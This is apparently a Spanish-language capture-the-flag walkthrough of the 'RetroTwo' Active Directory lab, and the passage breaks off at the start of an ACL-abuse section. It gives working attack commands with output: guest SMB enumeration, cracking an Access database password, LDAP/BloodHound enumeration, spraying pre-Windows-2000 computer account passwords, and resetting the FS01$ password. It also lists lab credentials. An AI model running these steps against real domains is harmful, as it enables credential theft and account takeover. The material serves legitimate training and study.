# RetroTwo

<details>

<summary><strong>¯\_( ͡° ͜ʖ ͡°)_/¯</strong> <em><strong>Machine info</strong></em></summary>

El entorno `RetroTwo` representa un escenario de compromiso de infraestructura centrado en la explotación de vectores heredados y configuraciones deficientes en un entorno de Active Directory (AD) sobre un sistema Windows Server 2008 R2. El acceso inicial se fundamenta en la *Enumeración de Servicios* y la exposición de *datos sensibles en recursos compartidos*, donde un archivo de base de datos de Microsoft Access (`.accdb`) desprotegido sirve como pivote principal. La vulnerabilidad principal reside en la gestión inadecuada de información crítica, ya que el archivo contiene scripts de VBA con *credenciales de servicio en texto claro*. Este vector subraya los riesgos asociados a la Exposición de Credenciales (T1552.001) y el almacenamiento de información sensible en archivos de aplicaciones locales que pueden ser analizados mediante técnicas de *Cracking de Contraseñas offline*.

Una vez obtenidas las credenciales de bajo privilegio, el ataque progresa hacia un movimiento lateral sofisticado que explota la retrocompatibilidad y las debilidades en las *Listas de Control de Acceso (ACL)* del dominio. El elemento central es la identificación de una cuenta de equipo configurada con *Compatibilidad Pre-Windows 2000*, la cual utiliza un algoritmo de generación de contraseñas predecible basado en su `SamAccountName`. Al comprometer esta cuenta (`FS01$`), se descubre una cadena de privilegios `GenericWrite` y `AddMember` que permite la manipulación de objetos del dominio para escalar privilegios de acceso. Esta fase ejemplifica la categoría de Manipulación de Cuentas (T1098) y el abuso de relaciones de confianza dentro del bosque de AD para obtener acceso vía *Remote Desktop Protocol (RDP)*.

La etapa final de Escalada de Privilegios Locales se ejecuta mediante el secuestro de *flujo de ejecución aprovechando la configuración de la clave de registro del* `RpcEptMapper`*. A través de una técnica conocida como DLL Hijacking* facilitada por el colector de datos de rendimiento de Windows, *un atacante puede forzar al sistema a cargar una biblioteca maliciosa bajo el contexto de la cuenta* `SYSTEM`. La técnica está estrechamente relacionada con vectores históricos de escalada en RPC y la gestión de servicios de Windows. En términos de MITRE ATT\&CK, esto se clasifica bajo Explotación para la Ejecución de Privilegios (T1068) y Secuestro de Orden de Búsqueda de DLL (T1574.001).

</details>

### *Enumeración de puertos/servicios* <a href="#enumeracion-de-puertos-servicios" id="enumeracion-de-puertos-servicios"></a>

```viml
❯ nmap -Pn -p- -sCV --open -v -n 10.129.22.52
```

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `-Pn` → Desactiva el descubrimiento por ping. Esto salta la fase de comprobación inicial (el Host Discovery) y pasa directo al escaneo de puertos.
* `-p-` → Escanea todos los puertos (1-65535).
* **`sCV`**:
  * `-sC` → **Ejecuta scripts de detección predeterminados** → Usa los scripts de `nmap` ubicados en `/usr/share/nmap/scripts/`, los cuales buscan información adicional en los puertos abiertos.
  * `-sV` → **Detección de versiones** → Intenta identificar el software y su versión en los puertos abiertos.
* `-n` → **No resuelve nombres de dominio** (reduce el tiempo del escaneo).
* `--open` → **Muestra solo puertos abiertos** → Filtra la salida para no mostrar puertos cerrados o filtrados.
* `-v` → **Modo verbose** → Muestra más detalles sobre el progreso del escaneo.

</details>

Resultados:

<pre class="language-vimscript" data-expandable="true"><code class="lang-vimscript">PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15F75) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15F75)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-18 00:42:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
<strong>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name)
</strong><strong>445/tcp   open  microsoft-ds  Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds (workgroup: RETRO2)
</strong>464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
<strong>| ssl-cert: Subject: commonName=BLN01.retro2.vl
</strong><strong>| Issuer: commonName=BLN01.retro2.vl
</strong>| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2026-04-17T00:26:40
| Not valid after:  2026-10-17T00:26:40
| MD5:   d8d7:5b84:96b7:8e5a:597b:2e1a:ce3b:948b
|_SHA-1: 751a:a369:d95c:8af4:fbf4:77bc:024b:614c:11d4:592f
|_ssl-date: 2026-04-18T00:43:34+00:00; 0s from scanner time.
<strong>5722/tcp  open  msrpc         Microsoft Windows RPC
</strong>9389/tcp  open  mc-nmf        .NET Message Framing
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49167/tcp open  msrpc         Microsoft Windows RPC
<strong>Service Info: Host: BLN01; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
</strong>
Host script results:
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-18T00:42:56
|_  start_date: 2026-04-18T00:25:58
| smb-os-discovery: 
|   OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: BLN01
|   NetBIOS computer name: BLN01\x00
|   Domain name: retro2.vl
|   Forest name: retro2.vl
|   FQDN: BLN01.retro2.vl
|_  System time: 2026-04-18T02:42:55+02:00
|_clock-skew: mean: -30m00s, deviation: 59m59s, median: -1s
| smb-security-mode: 
<strong>|   account_used: guest
</strong>|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
</code></pre>

En síntesis:

```vimscript
| Puerto    | Estado | Servicio       | Protocolo | Versión / Información Adicional                                             |
|-----------|--------|----------------|-----------|-----------------------------------------------------------------------------|
| 53        | open   | domain         | tcp       | Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1) [cite: 61, 65]          |
| 88        | open   | kerberos-sec   | tcp       | Microsoft Windows Kerberos [cite: 31, 32, 77]                               |
| 135       | open   | msrpc          | tcp       | Microsoft Windows RPC [cite: 33, 34, 70]                                    |
| 139       | open   | netbios-ssn    | tcp       | Microsoft Windows netbios-ssn [cite: 35, 36, 73]                            |
| 389       | open   | ldap           | tcp       | Microsoft Windows Active Directory LDAP (Domain: retro2.vl) [cite: 37, 38, 76]|
| 445       | open   | microsoft-ds   | tcp       | Windows Server 2008 R2 Datacenter 7601 SP1 [cite: 39, 40, 79]               |
| 464       | open   | kpasswd5       | tcp       | Kerberos Password Change Service [cite: 41, 42]                             |
| 593       | open   | ncacn_http     | tcp       | Microsoft Windows RPC over HTTP 1.0 [cite: 43, 44]                          |
| 636       | open   | tcpwrapped     | tcp       | LDAP over SSL [cite: 45]                                                    |
| 3268      | open   | ldap           | tcp       | Microsoft Windows AD LDAP (Global Catalog) [cite: 46]                       |
| 3269      | open   | tcpwrapped     | tcp       | Microsoft Windows AD LDAP (Global Catalog SSL) [cite: 47]                   |
| 3389      | open   | ms-wbt-server  | tcp       | Microsoft Terminal Service (RDP) [cite: 48, 50]                             |
| 5722      | open   | msdfsr         | tcp       | Microsoft DFS Replication [cite: 51, 53]                                    |
| 9389      | open   | mc-nmf         | tcp       | .NET Message Framing (AD Web Services) [cite: 54, 55]                       |
| 49154-167 | open   | msrpc          | tcp       | Microsoft Windows RPC (Puertos dinámicos)                                   |
```

Algunos de los elementos que nos reveló el escaneo de nmap y que nos pueden ayudar para resolver el ctf son los siguientes:

* Superficie AD: La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 445 (SMB) confirma que el objetivo es un Controlador de Dominio (DC).
* Sistema Operativo Obsoleto: El servidor corre `Windows Server 2008 R2 SP1`. Al ser una versión antigua, es altamente vulnerable a exploits de kernel y fallos lógicos en protocolos de red.
* Acceso SMB Guest: El escaneo indica que `account_used: guest` está permitido. Esto confirma que puedo enumerar recursos compartidos sin credenciales válidas para buscar archivos sensibles.
* Identificación del Objetivo. Nombres de Dominio y Host:
  * FQDN: `BLN01.retro2.vl`.
  * Dominio: `retro2.vl`.
  * NetBIOS: `RETRO2`

Lo primero que vamos a hacer es agregar los dominios que nos arrojó nmap al archivo `/etc/hosts` de nuestro equipo y sincronizar nuestro reloj con el del DC:

```vimscript
❯ echo "10.129.22.52    BLN01.retro2.vl retro2.vl BLN01 RETRO2" >> /etc/hosts
❯ ntpdate -s BLN01.retro2.vl
```

### ***SMB Enumeration con nxc y lookupsid\_enum*** <a href="#smb-enumeration-con-nxc" id="smb-enumeration-con-nxc"></a>

Aprovechamos que está habilitada la conexión con usuario `guest` al `smb`, para enumerar recursos con [**`nxc`**](/securitylayer/pentesting-tools/tools/nxc.md) y buscar alguno que nos llame la atención:

<pre class="language-vimscript"><code class="lang-vimscript">❯ nxc smb 10.129.22.131 -u 'guest' -p '' --shares
SMB         10.129.22.131   445    BLN01            [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.22.131   445    BLN01            [+] retro2.vl\guest: 
SMB         10.129.22.131   445    BLN01            [*] Enumerated shares
SMB         10.129.22.131   445    BLN01            Share           Permissions     Remark
SMB         10.129.22.131   445    BLN01            -----           -----------     ------
SMB         10.129.22.131   445    BLN01            ADMIN$                          Remote Admin
SMB         10.129.22.131   445    BLN01            C$                              Default share
SMB         10.129.22.131   445    BLN01            IPC$                            Remote IPC
SMB         10.129.22.131   445    BLN01            NETLOGON                        Logon server share 
<strong>SMB         10.129.22.131   445    BLN01            Public          READ            
</strong>SMB         10.129.22.131   445    BLN01            SYSVOL                          Logon server share
</code></pre>

Aunque herramientas como `nxc` no marquen explícitamente permisos de "`READ`" sobre `IPC$` para el usuario `guest`, este usuario suele tener el derecho intrínseco de conectarse a este recurso para *realizar llamadas RPC básicas si la cuenta está habilitada*. Por lo tanto también podemos intentar enumerar usuarios con `impacket-lookupsid`. En mi caso diseñe una tool que integra `impacket-lookupsid` y si encuentra usuarios los parcea automaticamente y genera una lista a modo de diccionario, la tool se llama [**lookupsid\_enum**](https://github.com/SecurityLayer404/lookupsid_enum) y la encontras en mi repo de github

{% code expandable="true" %}

```vim
❯ ./lookupsid_enum.sh 10.129.22.131 guest '' retro2.vl
[*] Ejecutando impacket-lookupsid contra 10.129.22.131 con retro2.vl/guest...
Password:
[*] Extrayendo usuarios válidos (SidTypeUser)...
[+] Usuarios extraídos
admin
Administrator
ADMWS01$
Alexandra.Black
Alex.Scott
BLN01$
Caroline.James
Charles.Singh
Clare.Smith
Emily.Price
FS01$
FS02$
Guest
inventory
Julie.Martin
Kayleigh.Stephenson
krbtgt
Laura.Davies
ldapreader
Leah.Robinson
Lindsey.Harrison
Lynda.Giles
Lynne.Dennis
Mandy.Davies
Margaret.Austin
Marilyn.Whitehouse
Michelle.Bird
Rhys.Richards
Sally.Davey
Sam.Humphreys
[+] Archivo generado: users_enum.txt
```

{% endcode %}

### ***Reconocimiento automatizado (spidering) con nxc***

Volvamos sobre el recurso `Public` que encontramos al principio en `smb` y enumeremos su contenido con `nxc` para ver que más podemos hallar.&#x20;

`nxc` nos permite enumerar de forma recursiva el contenido de cualquier directorio donde tengamos permisos de lectura, esta es una forma rápida y optimizada de buscar información expuesta, en este caso lo aplicaremos sobre el directorio `Public`

<pre class="language-vimscript"><code class="lang-vimscript">❯ nxc smb 10.129.22.131 -u 'guest' -p '' --spider "Public" --regex "."
SMB         10.129.22.131   445    BLN01            [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.22.131   445    BLN01            [+] retro2.vl\guest: 
SMB         10.129.22.131   445    BLN01            [*] Spidering .
SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/. [dir]
SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/.. [dir]
SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/DB [dir]
SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/Temp [dir]
SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/DB/. [dir]
SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/DB/.. [dir]
<strong>SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/DB/staff.accdb [lastm:'2024-08-17 11:30' size:876544]
</strong>SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/Temp/. [dir]
SMB         10.129.22.131   445    BLN01            //10.129.22.131/Public/Temp/.. [dir]
</code></pre>

El archivo `staff.accdb` que vemos en la enumeración pertenece a una *Base de Datos de Microsoft Access*. Este formato `.accdb` es el estándar utilizado por las versiones de *Microsoft Access de 2007* en adelante. Vamos a ingresar al smb con **`impacket-smbclient`** y vamos a descargar para analizarlo de forma local

<pre class="language-vimscript"><code class="lang-vimscript"><strong>❯ impacket-smbclient guest@10.129.22.131 -no-pass
</strong>Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
<strong># use Public
</strong><strong># ls
</strong>drw-rw-rw-          0  Sat Aug 17 11:30:37 2024 .
drw-rw-rw-          0  Sat Aug 17 11:30:37 2024 ..
<strong>drw-rw-rw-          0  Sat Aug 17 11:30:37 2024 DB
</strong>drw-rw-rw-          0  Sat Aug 17 08:58:07 2024 Temp
<strong># cd DB
</strong><strong># ls
</strong>drw-rw-rw-          0  Sat Aug 17 11:30:37 2024 .
drw-rw-rw-          0  Sat Aug 17 11:30:37 2024 ..
<strong>-rw-rw-rw-     876544  Sat Aug 17 11:30:34 2024 staff.accdb
</strong><strong># get staff.accdb
</strong></code></pre>

### ***Hash Cracking con JohnTheRipper***

Ya tenemos el archivo en nuestro equipo, pero al intentar abrirlo nos va a pedir una contraseña, claramente el archivo está cifrado por lo que tendremos que extraer el hash de la contraseña con el módulo [**`office2john`**](/securitylayer/pentesting-tools/tools/john-the-ripper.md) y crackearlo con [**`JohnTheRipper`**](/securitylayer/pentesting-tools/tools/john-the-ripper.md)

<pre class="language-vimscript"><code class="lang-vimscript"><strong>❯ office2john staff.accdb > staff_hash.txt
</strong>
<strong>❯ john --wordlist=/usr/share/wordlists/rockyou.txt staff_hash.txt
</strong>Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<strong>class08          (staff.accdb)     
</strong>1g 0:00:00:19 DONE (2026-04-18 16:15) 0.05205g/s 239.8p/s 239.8c/s 239.8C/s ojitos..class08
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</code></pre>

Una vez que tenemos la contraseña del archivo ahora si podremos analizarlo.&#x20;

> Nota: para abrir archivos de tipo VBA si o si vamos a tener que usar Access en Windows o Microsoft Office ya que en Linux no encontré una herramienta que pueda abrirlo.

En mi caso use [***MDBViewerPlus***](https://www.alexnolan.net/software/mdb_viewer_plus.htm) que es una versión portable para abrir archivos `.accdb` \
Al inspeccionar el archivo encontré la tabla `StaffMembers` y dentro las siguientes credenciales filtradas:&#x20;

`ldapreader:ppYaVcB5R`

<figure><img src="/files/gTHuTKsgJ1bLFhgveAYE" alt="" width="409"><figcaption></figcaption></figure>

<figure><img src="/files/SWVFty9GYtWkc8imZvY3" alt="" width="563"><figcaption></figcaption></figure>

Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear a que servicios nos podemos conectar/logear, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: [**service\_validation.sh**](https://github.com/SecurityLayer404/service_validation)

<pre class="language-vimscript"><code class="lang-vimscript"><strong>❯ ./service_validation.sh 10.129.22.131 ldapreader 'ppYaVcB5R'
</strong>[*] Probando credenciales contra 10.129.22.131 con usuario 'ldapreader'...

--- Probando smb ---
SMB         10.129.22.131   445    BLN01            [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.22.131   445    BLN01            [+] retro2.vl\ldapreader:ppYaVcB5R 

--- Probando ldap ---
LDAP        10.129.22.131   389    BLN01            [*] Windows 7 / Server 2008 R2 Build 7601 (name:BLN01) (domain:retro2.vl) (signing:None) (channel binding:No TLS cert) 
<strong>LDAP        10.129.22.131   389    BLN01            [+] retro2.vl\ldapreader:ppYaVcB5R 
</strong>
--- Probando winrm ---

--- Probando rdp ---
</code></pre>

### ***Enumeración de objetos vía LDAP con BloodHound*** <a href="#enumeracion-de-objetos-via-ldap-con-bloodhound" id="enumeracion-de-objetos-via-ldap-con-bloodhound"></a>

Aprovechando que tenemos autorización para autenticarnos al LDAP con el usuario `ldapreader` voy a realizar una enumeración de los objetos del DC con Bloodhound:

```vimscript
❯ bloodhound-python -d retro2.vl -u 'ldapreader' -p 'ppYaVcB5R' -c all --zip -ns 10.129.22.131
INFO: Compressing output into 20260418192058_bloodhound.zip
```

Al analizar todos los grupos y dominios encontre el `Domain_Computers` que contiene 3 cuentas de equipo `FS01$`, `FS02$` y `ADMWS01$`. Estas 3 cuentas ya las habíamos enumerado anteriormente con `lookupsid_enum`&#x20;

<figure><img src="/files/U1TeGr4a209qIuHJf3UN" alt="" width="514"><figcaption></figcaption></figure>

Recolectando más información de estas cuentas con [**`ldapsearch`**](/securitylayer/pentesting-tools/tools/ldapsearch.md) encontramos la propiedad `userAccountControl: 4128` en `FS01$` y `FS02$`

<details>

<summary>📌<em><strong>Análisis Técnico: El Atributo</strong></em><strong> </strong><kbd><strong>userAccountControl (4128)</strong></kbd></summary>

La identificación de la cuenta de equipo `FS01$` con un valor de `userAccountControl` (UAC) de `4128` representa un hallazgo crítico de configuración . Este atributo es una máscara de bits (bitmask) donde cada valor representa una propiedad específica de la cuenta según la [***documentación oficial de Microsoft***](https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties). El valor 4128 es el resultado de la suma decimal de dos indicadores (flags) fundamentales que definen el estado de seguridad de la cuenta:

{% code expandable="true" %}

```
| Valor Bit (Dec) |    Atributo Microsoft	  | Descripción Técnica
|      4096    	  |WORKSTATION_TRUST_ACCOUNT|	Indica que la cuenta es una computadora miembro del dominio.
|       32	      |       PASSWD_NOTREQD	  | Indica que no se requiere una contraseña para la cuenta.
```

{% endcode %}

La presencia del flag `PASSWD_NOTREQD` (32) en una cuenta de equipo es una anomalía de alta severidad. Según [*The Hacker Recipes*](https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers), este estado suele ser el resultado de la pre-creación de cuentas de equipo con la opción de "*Compatibilidad Pre-Windows 2000*" activada .

Cuando un administrador pre-crea una cuenta de este tipo, el sistema operativo asigna un *secreto inicial* predecible para permitir que sistemas antiguos se unan al dominio. *El algoritmo de generación de esta **contraseña** por defecto sigue el estándar de utilizar el* `sAMAccountName` *en minúsculas y sin el signo de dólar ($) final*

Para que este vector sea explotable, la cuenta debe estar en un estado "vírgen", lo cual confirmamos analizando el atributo `logonCount=0` (o `Last Logon: NEVER` en BloodHound) . Esto indica que *el objeto existe en el Directorio Activo pero ninguna máquina física ha reclamado la cuenta aún*, por lo que *la contraseña inicial no ha sido rotado por el sistema.*

</details>

<pre class="language-viml" data-expandable="true"><code class="lang-viml">❯ ldapsearch -x -H ldap://10.129.22.131 -D "ldapreader" -w 'ppYaVcB5R' -b "dc=retro2,dc=vl" "(sAMAccountName=FS01$)" > FS01.txt

   1   │ # extended LDIF
   2   │ #
   3   │ # LDAPv3
   4   │ # base &#x3C;dc=retro2,dc=vl> with scope subtree
   5   │ # filter: (sAMAccountName=FS01$)
   6   │ # requesting: ALL
   7   │ #
   8   │ 
   9   │ # FS01, Computers, retro2.vl
  10   │ dn: CN=FS01,CN=Computers,DC=retro2,DC=vl
  11   │ objectClass: top
  12   │ objectClass: person
  13   │ objectClass: organizationalPerson
  14   │ objectClass: user
  15   │ objectClass: computer
  16   │ cn: FS01
<strong>  17   │ distinguishedName: CN=FS01,CN=Computers,DC=retro2,DC=vl
</strong>  18   │ instanceType: 4
  19   │ whenCreated: 20240817142422.0Z
  20   │ whenChanged: 20240817142521.0Z
  21   │ uSNCreated: 28707
  22   │ uSNChanged: 28720
  23   │ name: FS01
  24   │ objectGUID:: JSVKTqo0GkS8/hV+843oWg==
<strong>  25   │ userAccountControl: 4128
</strong>  26   │ badPwdCount: 28
  27   │ codePage: 0
  28   │ countryCode: 0
  29   │ badPasswordTime: 134211944650330669
<strong>  30   │ lastLogoff: 0
</strong><strong>  31   │ lastLogon: 0
</strong>  32   │ localPolicyFlags: 0
  33   │ pwdLastSet: 133683782621620337
  34   │ primaryGroupID: 515
  35   │ objectSid:: AQUAAAAAAAUVAAAA876dXxGyDj7Cbw6tawQAAA==
  36   │ accountExpires: 9223372036854775807
  37   │ logonCount: 0
  38   │ sAMAccountName: FS01$
  39   │ sAMAccountType: 805306369
  40   │ objectCategory: CN=Computer,CN=Schema,CN=Configuration,DC=retro2,DC=vl
  41   │ isCriticalSystemObject: FALSE
  42   │ dSCorePropagationData: 20240817142521.0Z
  43   │ dSCorePropagationData: 16010101000000.0Z
  44   │ 
  45   │ # search reference
  46   │ ref: ldap://ForestDnsZones.retro2.vl/DC=ForestDnsZones,DC=retro2,DC=vl
  47   │ 
  48   │ # search reference
  49   │ ref: ldap://DomainDnsZones.retro2.vl/DC=DomainDnsZones,DC=retro2,DC=vl
  50   │ 
  51   │ # search reference
  52   │ ref: ldap://retro2.vl/CN=Configuration,DC=retro2,DC=vl
  53   │ 
  54   │ # search result
  55   │ search: 2
  56   │ result: 0 Success
  57   │ 
  58   │ # numResponses: 5
  59   │ # numEntries: 1
  60   │ # numReferences: 3
</code></pre>

Además la cuenta `FS01$` tiene permisos `GenericWrite` y `ForceChangePassword` sobre `FS02$` y `ADMWS01$` por lo que podríamos pivotear hacia esas cuentas

<figure><img src="/files/98n9c75OiDDqANaKsFDz" alt="" width="563"><figcaption></figcaption></figure>

<details>

<summary>📌<kbd>GenericWrite</kbd> y <kbd>ForceChangePassword</kbd></summary>

`GenericWrite`: El permiso de "Edición de Atributos"

Desde el punto de vista de un administrador, este permiso sirve para la delegación de tareas. Por ejemplo, el equipo de Recursos Humanos necesita actualizar los números de teléfono o las direcciones de los empleados sin ser administradores de dominio.

* Concepto: Te da el derecho de *modificar casi cualquier propiedad (atributo) del objeto*.
* Enfoque de Atacante: En AD, muchos atributos no son solo "texto informativo", sino que controlan el *comportamiento de la autenticación*.
  * Si puedo escribir en un objeto de computadora, puedo decirle: *"Confía en esta otra máquina que yo controlo"* (Ataque de Delegación Basada en Recursos - RBCD).
  * Es como si tuviera permiso para editar el chip de una tarjeta de acceso: no tengo la llave maestra, pero puedo reprogramar la tarjeta para que la puerta me deje pasar.

`ForceChangePassword`: El "Bypass" de Identidad

Normalmente, para cambiar una contraseña en Windows, el sistema te pide la contraseña actual. Este permiso está diseñado para el Helpdesk. Su propósito es permitir que un técnico ayude a un usuario que olvidó su clave.

* Concepto: Es un *derecho especial de escritura sobre el atributo de seguridad de la contraseña* que ignora la validación de la contraseña anterior.
* Enfoque de Atacante: Es la forma más agresiva de Account Takeover.
  * No necesito crackear hashes (AS-REP Roasting o Kerberoasting). Simplemente "piso" la identidad del objetivo.
  * Conceptualmente, es como tener el poder legal de cambiar la combinación de una caja fuerte sin conocer la combinación vieja.

</details>

Por último la cuenta `ADMWS01$` tiene los permisos `AddMember` y `AddSelf` sobre el grupo `Services`, y este grupo es miembro de `Remote_Desktop_Users`. Entonces la vía de ataque para conseguir acceso remoto al sistema nos quedaría de la siguiente manera:

<figure><img src="/files/mUBtFaFuAVrkPwaEQgMj" alt="" width="563"><figcaption></figcaption></figure>

<details>

<summary>📌<kbd>AddMember</kbd> y <kbd>AddSelf</kbd></summary>

`AddMember`: El control de la "Herencia"

Active Directory basa casi toda su seguridad en la pertenencia a grupos. Si estás en el grupo "Admins del Dominio", *heredas* sus privilegios. Este permiso se otorga a menudo a los "dueños de negocio" para que gestionen sus propios equipos.

* Concepto: me da autoridad sobre la *lista de miembros de un grupo* (el atributo `member`).
* Enfoque de Atacante: Es un vector de escalada horizontal o vertical.
  * Si comprometo a un usuario que tiene `AddMember` sobre un grupo con privilegios (como "Operadores de Servidores"), puedo inyectar mi cuenta en ese grupo.
  * A nivel conceptual: No necesito forzar la puerta principal; tengo el permiso para anotarme en la lista de invitados VIP.

`AddSelf`: El "Auto-Invitado"

Este es un permiso más sutil y restrictivo que `AddMember`. Se suele usar en grupos de "autoservicio" o suscripciones internas donde los usuarios pueden decidir unirse a un proyecto o lista de distribución.

* Concepto: Es el derecho de un usuario de añadirse únicamente a sí mismo a un grupo específico.
* Enfoque de Atacante: Es ideal para la persistencia silenciosa.
  * A veces, los administradores monitorean quién añade a quién en grupos sensibles. `AddSelf` a veces pasa desapercibido porque parece una acción "voluntaria" del usuario.
  * Conceptualmente: Es como tener una llave que solo funciona para dejarme entrar en una habitación, pero no puedo invitar a nadie más.

</details>

### ***Pre-Windows 2000 Default Password Spraying***

Una herramienta que fue diseñada para detectar este tipo de cuentas que quedaron "huerfanas" y que todavia mantienen las credenciales con las que fueron creadas inicialmente es [**`pre2k`**](/securitylayer/pentesting-tools/tools/pre2k.md):

```vimscript
❯ pre2k auth -u  ldapreader -p 'ppYaVcB5R'  -dc-ip 10.129.22.131 -d retro2.vl
                                ___    __         
                              /'___`\ /\ \        
 _____   _ __    __          /\_\ /\ \\ \ \/'\    
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , <  
\ \ \L\ \ \ \//\  __//\______\  // /_\ \\ \ \\`\  
 \ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\
  \ \ \/  \/_/ \/____/         \/_____/   \/_/\/_/
   \ \_\                                      v3.1    
    \/_/                                          
                                            @unsigned_sh0rt
                                            @Tw1sm          

[01:21:10] INFO     Retrieved 4 results total.                                                                                                           
[01:21:10] INFO     Testing started at 2026-04-21 01:21:10                                                                                               
[01:21:10] INFO     Using 10 threads                                                                                                                     
[01:21:12] INFO     VALID CREDENTIALS: retro2.vl\FS02$:fs02
[01:21:12] INFO     VALID CREDENTIALS: retro2.vl\FS01$:fs01
```

### ***Pre-Created Computer Accounts Exploitation***

Ya sabemos que la cuenta de equipo `FS01$` fue creada con compatibilidad heredada y mantiene su contraseña por defecto (`fs01`), ahora solo me faltaria validarla para confirmar que la podemos utilizar

{% code expandable="true" %}

```vimscript
❯ nxc smb 10.129.22.131 -d retro2.vl -u 'fs01$' -p 'fs01'
SMB         10.129.22.131   445    BLN01            [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.22.131   445    BLN01            [-] retro2.vl\fs01$:fs01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
```

{% endcode %}

Este mensaje `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT` (código de estado `(0xc0000199)`) indica que&#x20;

* El servidor ha aceptado la contraseña, pero le deniega el inicio de sesión al objeto. Esto se debe a que el objeto se encuentra en un estado no activado y para activarla debemos romper el ciclo de la contraseña por defecto.&#x20;
* Existe una restricción de Acceso: Por seguridad, Windows no permite que las cuentas de equipo inicien sesiones SMB convencionales o interactivas de la misma forma que un usuario global o local

Entonces para realizar el cambio de contraseña de la cuenta tendre que usar una herramienta que únicamente se comunique al sistema mediante RDP, ya que el inicio de sesion via SMB se encuentra restringido.&#x20;

[`impacket-changepasswd`](/securitylayer/pentesting-tools/tools/suite-impacket.md#impacket-smbpasswd-impacket-changepasswd) es capaz de lograr esto usando los siguientes parámetros:

```vimscript
❯ impacket-changepasswd 'retro2.vl/fs01$:fs01@10.129.22.131' -newpass 'Password123!' -p rpc-samr
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of retro2.vl\fs01$
[*] Connecting to DCE/RPC as retro2.vl\fs01$
[*] Password was changed successfully.
```

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `'retro2.vl/fs01$:fs01@10.129.22.131'` → Cadena de conexión que define el dominio (`retro2.vl`), la cuenta de equipo (`fs01$`), su contraseña (`fs01`) y la dirección IP del objetivo.
* `-newpass 'Password123!'` → Especifica la nueva credencial que se establecerá para "activar" la cuenta y ganar control total sobre el objeto.
* `-p rpc-samr` → Define el transporte a utilizar; en este caso, la interfaz SAMR (Security Account Manager Remote), necesaria para evadir restricciones de inicio de sesión de cuentas de equipo.

</details>

Volvemos a validar la nueva contraseña de la cuenta `fs01$` y esta vez si podemos usarlas:

{% code expandable="true" %}

```vimscript
❯ nxc smb 10.129.25.205 -d retro2.vl -u 'fs01$' -p 'Password123!'
SMB         10.129.25.205   445    BLN01            [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.25.205   445    BLN01            [+] retro2.vl\fs01$:Password123!
```

{% endcode %}

### ***Abuso de ACLs/ACEs (Access Control Lists / Access Control Entries)***

